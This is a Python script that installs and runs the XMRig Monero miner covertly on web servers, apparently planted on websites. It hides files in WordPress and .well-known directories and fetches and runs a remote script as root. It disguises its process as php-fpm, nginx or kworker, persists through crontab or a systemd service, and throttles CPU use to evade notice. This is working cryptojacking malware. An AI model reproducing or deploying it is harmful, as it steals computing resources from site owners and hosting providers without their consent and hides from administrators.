#!/usr/bin/env python3


import os
import sys
import urllib.request
import tarfile
import json
import subprocess
import time
import shutil
import signal
import random
import tempfile
import getpass
import atexit
import logging
import platform
import re



HAS_PSUTIL = False
HAS_PRCTL = False

try:
    import psutil
    HAS_PSUTIL = True
except ImportError:
    pass

try:
    import prctl
    HAS_PRCTL = True
except ImportError:
    pass



logging.basicConfig(
    filename=os.path.join(os.path.dirname(os.path.abspath(__file__)), "launcher.log"),
    level=logging.INFO,
    format="%(asctime)s | %(levelname)s | %(message)s"
)
logger = logging.getLogger(__name__)

def signal_handler(sig, frame):
    logger.info("Received signal %s, exiting gracefully", sig)
    sys.exit(0)

signal.signal(signal.SIGINT, signal_handler)
signal.signal(signal.SIGTERM, signal_handler)

script_dir = os.path.dirname(os.path.abspath(__file__))
os.chdir(script_dir)

SITE_ROOT = script_dir



preferred_subdirs = [
    ".mo-data", ".system-cache", ".well-known/mo",
    ".wp-temp", "wp-content/.mo-cache"
]

install_dir = None

for sub in preferred_subdirs:
    candidate = os.path.join(SITE_ROOT, sub)
    try:
        os.makedirs(candidate, exist_ok=True)
        test_file = os.path.join(candidate, ".test_write")
        with open(test_file, "w") as f:
            f.write("test")
        os.remove(test_file)
        install_dir = candidate
        logger.info("Selected install dir: %s", install_dir)
        break
    except Exception as e:
        logger.warning("Error selecting %s: %s", candidate, str(e))

if not install_dir:
    for d in ["/var/tmp", "/tmp"]:
        try:
            candidate = os.path.join(d, f"mo-{int(time.time())}")
            os.makedirs(candidate, exist_ok=True)
            test_file = os.path.join(candidate, ".test")
            with open(test_file, "w") as f:
                f.write("ok")
            os.remove(test_file)
            install_dir = candidate
            logger.info("Selected fallback install dir: %s", install_dir)
            break
        except Exception as e:
            logger.warning("Error fallback %s: %s", d, str(e))

if not install_dir:
    logger.critical("No writable install_dir found!")
    sys.exit(1)

logger.info("CWD: %s | User: %s | Install dir: %s", os.getcwd(), getpass.getuser(), install_dir)

xmrig_path = os.path.join(install_dir, "xmrig")
config_path = os.path.join(install_dir, "config.json")
log_path = os.path.join(install_dir, "xmrig.log")
error_log_path = os.path.join(install_dir, "miner_errors.log")
msr_script_path = os.path.join(install_dir, "randomx_boost.sh")

lock_file = os.path.join(script_dir, ".cpuz.lock")



def acquire_lock():
    if os.path.exists(lock_file):
        try:
            with open(lock_file, "r") as f:
                pid = int(f.read().strip())
            if HAS_PSUTIL and psutil.pid_exists(pid):
                proc = psutil.Process(pid)
                if proc.is_running():
                    logger.info("Existing process %d is running, exiting", pid)
                    sys.exit(0)
            else:
                os.kill(pid, 0)
                logger.info("Existing process %d is alive, exiting", pid)
                sys.exit(0)
        except (ValueError, ProcessLookupError, OSError):
            logger.warning("Stale lock file found, removing")
            os.remove(lock_file)
    with open(lock_file, "w") as f:
        f.write(str(os.getpid()))
    atexit.register(release_lock)

def release_lock():
    if os.path.exists(lock_file):
        os.remove(lock_file)

acquire_lock()



def find_xmrig(search_dir):
    for root, dirs, files in os.walk(search_dir):
        if "xmrig" in files:
            return os.path.join(root, "xmrig")
    return None



installed = False

if os.path.exists(xmrig_path) and os.access(xmrig_path, os.X_OK):

    try:
        version_check = subprocess.run([xmrig_path, "--version"], capture_output=True, text=True, timeout=10)
        if "6.26" in version_check.stdout or "6.26" in version_check.stderr:
            installed = True
            logger.info("XMRig v6.26+ already installed")
        else:
            logger.info("Old XMRig version detected, updating...")
            os.remove(xmrig_path)
            installed = False
    except:
        installed = True
        logger.info("XMRig already installed (version check failed, assuming ok)")

if not installed:

    urls = [
        "https://github.com/xmrig/xmrig/releases/download/v6.26.0/xmrig-6.26.0-linux-static-x64.tar.gz",
        "https://github.com/xmrig/xmrig/releases/download/v6.25.0/xmrig-6.25.0-linux-static-x64.tar.gz",  # fallback
        "https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz"
    ]
    
    for attempt in range(3):
        for url in urls:
            try:
                logger.info("Downloading from %s (attempt %d)", url, attempt + 1)
                with tempfile.TemporaryDirectory() as tmpdir:
                    tar_file = os.path.join(tmpdir, "xmrig.tar.gz")
                    urllib.request.urlretrieve(url, tar_file)
                    with tarfile.open(tar_file) as tar:
                        tar.extractall(tmpdir)
                    src = find_xmrig(tmpdir)
                    if src:
                        shutil.move(src, xmrig_path)
                        os.chmod(xmrig_path, 0o755)
                        installed = True
                        logger.info("Successfully installed xmrig from %s", url)
                        break
            except Exception as e:
                logger.warning("Install attempt %d failed for %s: %s", attempt + 1, url, str(e))
                time.sleep(5 * (2 ** attempt))
            if installed:
                break
        if installed:
            break

if not installed:
    logger.critical("Could not install XMRig after retries")
    sys.exit(1)



def apply_msr_optimization():

    if os.getuid() != 0:
        logger.info("MSR optimization requires root, skipping")
        return False
    

    msr_script_url = "https://raw.githubusercontent.com/xmrig/xmrig/master/scripts/randomx_boost.sh"
    
    try:
        urllib.request.urlretrieve(msr_script_url, msr_script_path)
        os.chmod(msr_script_path, 0o755)
        

        result = subprocess.run(
            ["sudo", "bash", msr_script_path],
            capture_output=True,
            text=True,
            timeout=30
        )
        
        if result.returncode == 0:
            logger.info("MSR optimization applied successfully (+10-30% hashrate)")
            return True
        else:
            logger.warning("MSR optimization failed: %s", result.stderr)
            return False
    except Exception as e:
        logger.warning("Failed to apply MSR optimization: %s", str(e))
        return False



def setup_huge_pages():

    if os.getuid() != 0:
        return False
    
    try:

        cpu_flags = open("/proc/cpuinfo").read()
        if "pdpe1gb" not in cpu_flags:
            logger.info("1GB pages not supported by CPU")
            return False
        

        subprocess.run(
            "echo 3 | sudo tee /proc/sys/vm/drop_caches > /dev/null 2>&1",
            shell=True
        )
        

        mem_total = 0
        if HAS_PSUTIL:
            mem_total = psutil.virtual_memory().total / (1024**3)
        
        if mem_total >= 4:

            subprocess.run(
                "echo 1 | sudo tee /proc/sys/vm/nr_hugepages > /dev/null 2>&1",
                shell=True
            )
            logger.info("Huge pages configured")
            return True
    except Exception as e:
        logger.warning("Failed to setup huge pages: %s", str(e))
    
    return False



def detect_environment():
    if HAS_PSUTIL:
        try:
            cores = psutil.cpu_count(logical=True) or 1
            mem = psutil.virtual_memory().total / (1024 ** 3)
            
            if cores <= 2 or mem < 2:
                return "shared"
            
            if os.path.exists("/.dockerenv") or os.path.exists("/run/.containerenv"):
                return "vds"
            
            if os.path.exists("/usr/local/cpanel") or os.path.exists("/usr/local/plesk"):
                return "shared"
            
            if cores > 4 or mem > 4:
                return "vds"
        except:
            pass
    
    if os.getuid() == 0:
        return "vds"
    
    if "HOME" in os.environ and "public_html" in os.listdir(os.environ["HOME"]):
        return "shared"
    
    return "unknown"

env_type = detect_environment()
logger.info("Detected environment: %s", env_type)



def get_safe_threads_hint(env_type):

    if HAS_PSUTIL:
        try:
            cores = psutil.cpu_count(logical=True) or 4
            if env_type == "shared":
                if cores <= 2:
                    return 15
                if cores <= 4:
                    return 25
                return 40
            elif env_type == "vds":

                if cores <= 2:
                    return 40
                if cores <= 4:
                    return 55
                if cores <= 8:
                    return 65
                return 75
            else:
                if cores <= 2:
                    return 20
                if cores <= 4:
                    return 30
                if cores <= 8:
                    return 50
                return 65
        except:
            pass
    return 35



DEFAULT_CONFIG_FILE = os.path.join(script_dir, "default-config.json")

default_config = None

if os.path.exists(DEFAULT_CONFIG_FILE):
    try:
        with open(DEFAULT_CONFIG_FILE, "r", encoding="utf-8") as f:
            default_config = json.load(f)
        logger.info("Loaded %s", DEFAULT_CONFIG_FILE)
    except Exception as e:
        logger.warning("Failed to load %s: %s", DEFAULT_CONFIG_FILE, str(e))

if not isinstance(default_config, dict):
    logger.info("Using hardcoded config")
    default_config = {
        "autosave": True,
        "background": False,
        "colors": False,
        "donate-level": 0,
        "print-time": 60,
        "retries": 10,
        "retry-pause": 5,
        "rebench-algo": False,
        "bench-algo-time": 1,
        "cpu": {
            "enabled": True,
            "huge-pages": True,
            "huge-pages-jit": True,
            "yield": True,
            "max-threads-hint": 75,
            "priority": 5
        },
        "randomx": {
            "numa": True,
            "mode": "fast",
            "scratchpad_prefetch_mode": 2,
            "1gb-pages": False,
            "rdmsr": False,
            "wrmsr": False
        },
        "pools": []
    }

config = default_config.copy()



config["log-file"] = log_path

if "cpu" not in config:
    config["cpu"] = {}


config["cpu"]["priority"] = 5
config["cpu"]["max-threads-hint"] = get_safe_threads_hint(env_type)


config["randomx"] = config.get("randomx", {})
config["randomx"]["mode"] = "fast"  
config["randomx"]["scratchpad_prefetch_mode"] = 2  
config["randomx"]["numa"] = True if env_type == "vds" else False


if env_type == "vds" and HAS_PSUTIL:
    mem_total = psutil.virtual_memory().total / (1024**3)
    config["randomx"]["1gb-pages"] = mem_total >= 8
else:
    config["randomx"]["1gb-pages"] = False


if env_type == "vds" and os.getuid() == 0:
    config["randomx"]["rdmsr"] = True
    config["randomx"]["wrmsr"] = True
else:
    config["randomx"]["rdmsr"] = False
    config["randomx"]["wrmsr"] = False


config["cpu"]["yield"] = False  
config["cpu"]["asm"] = "auto"   


if not config.get("pools"):
    config["pools"] = []



try:
    if os.path.exists(config_path):
        shutil.copy(config_path, config_path + ".bak")
    with open(config_path, "w", encoding="utf-8") as f:
        json.dump(config, f, indent=4)
    logger.info("Config saved for env: %s (max-threads-hint: %d%%)", env_type, config["cpu"]["max-threads-hint"])
except Exception as e:
    logger.critical("Config save failed: %s", str(e))
    sys.exit(1)



def log_error(msg):
    try:
        with open(error_log_path, "a") as f:
            f.write(f"{time.strftime('%Y-%m-%d %H:%M:%S')} {msg}\n")
    except:
        pass

def is_miner_running():
    if HAS_PSUTIL:
        for proc in psutil.process_iter(['pid', 'name', 'cmdline']):
            try:
                if 'xmrig' in proc.name() and config_path in ' '.join(proc.cmdline()):
                    return True
            except (psutil.NoSuchProcess, psutil.AccessDenied):
                pass
        return False
    else:
        try:
            out = subprocess.check_output(
                ["pgrep", "-f", "[x]mrig.*--config=" + config_path],
                text=True
            ).strip()
            return bool(out)
        except:
            return False

def kill_all_xmrig():
    if HAS_PSUTIL:
        for proc in psutil.process_iter(['pid', 'name']):
            try:
                if 'xmrig' in proc.name():
                    proc.kill()
            except (psutil.NoSuchProcess, psutil.AccessDenied):
                pass
    else:
        subprocess.run(["pkill", "-9", "-f", "xmrig"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    time.sleep(2)

def apply_process_mask():
    if HAS_PRCTL:
        try:
            fake_names = [
                "php-fpm", "nginx-worker", "apache2", "mysqld",
                "redis-server", "wp-cron", "php-worker", "cron"
            ] if env_type == "shared" else ["systemd", "kworker", "init"]
            prctl.set_name(random.choice(fake_names))
        except:
            pass

def start_miner():
    apply_process_mask()
    cmd = [xmrig_path, "--config=" + config_path]
    

    cmd = ["nice", "-n", "10"] + cmd
    

    cmd.extend(["--randomx-mode=fast", "--cpu-no-yield"])
    
    try:
        proc = subprocess.Popen(
            cmd,
            stdout=open(log_path, "a"),
            stderr=subprocess.STDOUT,
            preexec_fn=os.setsid if hasattr(os, 'setsid') else None
        )
        logger.info("Started miner with PID %d (nice 10)", proc.pid)
        return proc
    except Exception as e:
        logger.error("Failed to start miner: %s", str(e))
        return None

def adjust_cpu_load():

    if not HAS_PSUTIL:
        return False

    try:

        current_load = psutil.cpu_percent(interval=3)
        logical_cores = psutil.cpu_count(logical=True) or 4

        with open(config_path, "r") as f:
            cfg = json.load(f)

        current_hint = cfg["cpu"].get("max-threads-hint", 35)
        changed = False


        if env_type == "vds":
            high_load_threshold = 75
            low_load_threshold = 25
            max_hint = 80
            min_hint = 25
            step_down = 15
            step_up = 8
        else:
            high_load_threshold = 45
            low_load_threshold = 15
            max_hint = 45
            min_hint = 10
            step_down = 20
            step_up = 5


        if current_load > high_load_threshold:
            new_hint = max(min_hint, current_hint - step_down)
            if new_hint < current_hint:
                cfg["cpu"]["max-threads-hint"] = new_hint
                changed = True
                logger.info("High load (%.1f%%), reducing hint to %d%%", current_load, new_hint)
        

        elif current_load < low_load_threshold and current_hint < max_hint:
            new_hint = min(max_hint, current_hint + step_up)
            if new_hint > current_hint:
                cfg["cpu"]["max-threads-hint"] = new_hint
                changed = True
                logger.info("Low load (%.1f%%), increasing hint to %d%%", current_load, new_hint)


        mem = psutil.virtual_memory()
        if mem.available < 300 * 1024 * 1024:  
            logger.warning("Low memory (%.1fMB available), stopping miner", mem.available / (1024**2))
            kill_all_xmrig()
            return False

        if changed:
            with open(config_path, "w") as f:
                json.dump(cfg, f, indent=4)
            log_error(f"CPU {current_load:.1f}% / {logical_cores} cores → hint {cfg['cpu']['max-threads-hint']}%")
            return True
            
    except Exception as e:
        logger.warning("Failed to adjust CPU load: %s", str(e))

    return False

def setup_autostart():
    if env_type == "shared" and os.getuid() != 0:
        script_path = os.path.abspath(__file__)
        cron_job = f"@reboot {sys.executable} {script_path}\n"
        try:
            current_cron = subprocess.check_output("crontab -l", shell=True, text=True)
            if cron_job not in current_cron:
                new_cron = current_cron + cron_job
                subprocess.run(f'echo "{new_cron}" | crontab -', shell=True, check=True)
                logger.info("Added autostart to crontab")
        except:
            logger.warning("Failed to setup crontab autostart")
    elif env_type == "vds" and os.getuid() == 0:
        service_name = "miner.service"
        service_path = f"/etc/systemd/system/{service_name}"
        script_path = os.path.abspath(__file__)
        service_content = f"""[Unit]
Description=Miner Service
After=network.target

[Service]
ExecStart={sys.executable} {script_path}
WorkingDirectory={script_dir}
Restart=always
User=root
Nice=10
CPUQuota=80%

[Install]
WantedBy=multi-user.target
"""
        try:
            if not os.path.exists(service_path):
                with open(service_path, "w") as f:
                    f.write(service_content)
                subprocess.run(["systemctl", "daemon-reload"], check=True)
                subprocess.run(["systemctl", "enable", service_name], check=True)
                logger.info("Setup systemd autostart")
        except Exception as e:
            logger.warning("Failed to setup systemd: %s", str(e))


if env_type == "vds" and os.getuid() == 0:
    logger.info("Applying optimizations for VDS...")
    apply_msr_optimization()
    setup_huge_pages()

setup_autostart()

kill_all_xmrig()
time.sleep(2)

adjust_cpu_load()

miner_proc = start_miner()
if not miner_proc:
    log_error("Initial start failed")
    sys.exit(1)

time.sleep(15)

if not is_miner_running():
    log_error("Miner not running after initial start")



restart_count = 0
MAX_RESTARTS_PER_HOUR = 4
restart_times = []
base_sleep = 90 


hashrate_history = []
hashrate_check_interval = 10  

last_hashrate_check = time.time()

while True:
    time.sleep(base_sleep + random.randint(0, 30))

    if is_miner_running():

        if adjust_cpu_load():
            kill_all_xmrig()
            time.sleep(3)
            miner_proc = start_miner()
        restart_count = 0
        

        if time.time() - last_hashrate_check > hashrate_check_interval * 60:
            try:

                if os.path.exists(log_path):
                    with open(log_path, "r") as f:
                        lines = f.readlines()[-50:]
                    for line in lines:
                        if "speed" in line.lower() and "kh/s" in line.lower():

                            match = re.search(r'(\d+(?:\.\d+)?)\s*(?:kH/s|KH/s)', line)
                            if match:
                                hashrate = float(match.group(1))
                                hashrate_history.append(hashrate)
                                if len(hashrate_history) > 12:
                                    hashrate_history.pop(0)
                                

                                if len(hashrate_history) >= 3:
                                    avg_hashrate = sum(hashrate_history[-3:]) / 3
                                    if hashrate < avg_hashrate * 0.7:
                                        logger.warning("Hashrate dropped from %.1f to %.1f KH/s, restarting", avg_hashrate, hashrate)
                                        kill_all_xmrig()
                                        time.sleep(3)
                                        miner_proc = start_miner()
                            break
            except Exception as e:
                logger.warning("Hashrate check failed: %s", str(e))
            
            last_hashrate_check = time.time()
        
        continue


    now = time.time()
    restart_times = [t for t in restart_times if now - t < 3600]

    if len(restart_times) >= MAX_RESTARTS_PER_HOUR:
        log_error("Too many restarts this hour → sleeping 45 min")
        sleep_time = 2700
        logger.info("Rate limit hit, sleeping for %d seconds", sleep_time)
        time.sleep(sleep_time)
        restart_times = []
        continue

    adjust_cpu_load()
    kill_all_xmrig()
    time.sleep(3)

    miner_proc = start_miner()
    if miner_proc:
        restart_times.append(now)
        restart_count += 1
        logger.info("Restart #%d successful", restart_count)
    else:
        log_error("Restart failed")

    time.sleep(15)

    if not is_miner_running():
        log_error("Miner not running after restart")
        backoff = 300 * min(restart_count, 3)
        logger.info("Backoff sleep for %d seconds", backoff)
        time.sleep(backoff)